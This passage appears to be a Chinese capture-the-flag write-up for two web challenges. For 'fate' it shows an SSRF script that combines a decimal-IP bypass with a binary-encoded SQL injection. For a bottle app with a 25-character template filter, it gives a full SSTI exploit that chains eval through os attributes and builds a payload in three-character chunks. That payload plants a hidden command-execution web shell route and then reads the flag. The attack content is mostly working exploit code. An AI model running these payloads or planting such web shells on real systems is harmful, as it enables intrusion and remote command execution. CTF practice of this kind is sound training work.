host="http://localhost:5000"
req = requests.get(host+"/1337?1="+ json_bin)
print(req.text)最终payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36import requests
import json
host="target"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
def json2bin(json_input):
json_string = json.dumps(json_input)
binary_string = ''.join(format(ord(char), '08b') for char in json_string)
return binary_string
# proxy
path_proxy = "/proxy"
json_data = {
'name': {'\'))))))) union select fate from fatetable where name=\'LAMENTXU\' --': "placeholder"}
}
params_proxy = {
"url": f"@2130706433:8080/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%261={json2bin(json_data)}",
# "url": f"@0/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
# "url": f"@[::1]/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
# localhost test: 本地无法解析
# "url": f"@2130706433:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
# "url": f"@[::]:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}",
# "url": f"@[::1]:5000/1337?0=%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39&1={json2bin(json_data)}", # ipv6格式
}
print(params_proxy['url']) # 拿到bp里更好,request会进行url编码
r = session.get(host+path_proxy, params=params_proxy, proxies=bp)
print(r.text)
fate 总结
- 参数解析问题
- 参数检验与转换
- 本地与远程调试和版本问题
出题人已疯 | 复现 | SV
出题人已疯 | 过程
先看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
def index():
return 'Hello, World!'
def attack():
payload = bottle.request.query.get('payload')
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
return bottle.template('hello '+payload)
else:
bottle.abort(400, 'Invalid payload')
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)不禁想到vnctf25的学生管理系统,要先理解bottle啊emm
这里可以数组绕过len吗?bottle的get似乎有考虑到这个问题,被墙壁了,只取最后的,而且字符数也算 –> 只能老老实实绕过了
其实最重要的是上下文,如果限制死字数无法突破上下文的话几乎无法,跟进看一下执行的过程(在出题人又疯那题里有),oh?使用compile+exec来在当前进程中执行命令
那就上手试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33import requests
host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
path_attack="/attack"
params_attack={
# 尝试数组绕过: failed
# "payload": {"0000":1, "1":2, "22222":3}
# compile+exec的全局绕过: global failed,无法传递,未知原因
# "payload": "\n% global a"
# "payload": "\n% a=__import__"
# "payload": "\n% global b"
# "payload": "\n% b=a('os')" # 报错
# compile+exec的全局绕过: list, dict failed 不可变
# "payload": "\n% list.extend.a=__import__"
# "payload": "\n% list.a=__import__"
# compile+exec的全局绕过: 寻找可变类,os
# "payload": "\n% import os;os.a='ls /'"
# "payload": "\n% import os;os.b=print"
# "payload": "\n% import os;"
# "payload": "\n% import os;print(os.a)"
"payload": "\n% import os;print(os.b)"
}
print(len(params_attack['payload']))
r = session.get(host+path_attack, params=params_attack)
print(r.text) # 本地开看debug事情到了这里基本来到了关键的一步
- 困局: 直接os.a=system不行,报错,popen也不行
- 破局1: 但是print,eval这些原生函数可以
- 困局: 25个字符,使用os来的话至少有
\n% import os;os.x=
这几个字符,只有几个字符的构造空间 - 破局2: 字符是可以拼接的+=+=,system有错误,那我们可以在eval一遍,还能打内存马这些,空间更大了
- 最终payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55import requests
host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
path_attack="/attack"
# eval, print, b准备
params_attack={
"payload": "\n% import os;os.a=eval"
}
r = session.get(host+path_attack, params=params_attack)
params_attack={
"payload": "\n% import os;os.t=print"
}
r = session.get(host+path_attack, params=params_attack)
params_attack={
"payload": "\n% import os;os.b=''"
}
r = session.get(host+path_attack, params=params_attack)
# +=构造payload字符串
payload='''__import__("bottle").app().route("/kc1zs4","GET",lambda :__import__("os").popen(request.params.get("cmd")).read())''' # request会报错来着,emm,为什么signing就可以呢
# payload='''os.system("cat /flag > kc1")'''
payload_list = [payload[i:i+3] for i in range(0, len(payload), 3)] # 将payload每3个字符分为一组,分别取出来
print(payload_list)
print(len(payload_list))
for i in range(len(payload_list)):
params_attack={
"payload": f"\n% import os;os.b+='{payload_list[i]}'"
}
r = session.get(host+path_attack, params=params_attack)
# 测试字符串拼接
params_attack={
"payload": "\n% import os;os.t(os.b)"
}
r = session.get(host+path_attack, params=params_attack)
# 触发命令
params_attack={
"payload": "\n% import os;os.a(os.b)"
}
r = session.get(host+path_attack, params=params_attack)
# 文件读回显
params_attack={
"payload": "\n% include('kc1')"
}
r = session.get(host+path_attack, params=params_attack)
print(r.text)
ref
- 出题人的[https://www.cnblogs.com/LAMENTXU/articles/18730353]
- github仓库地址[]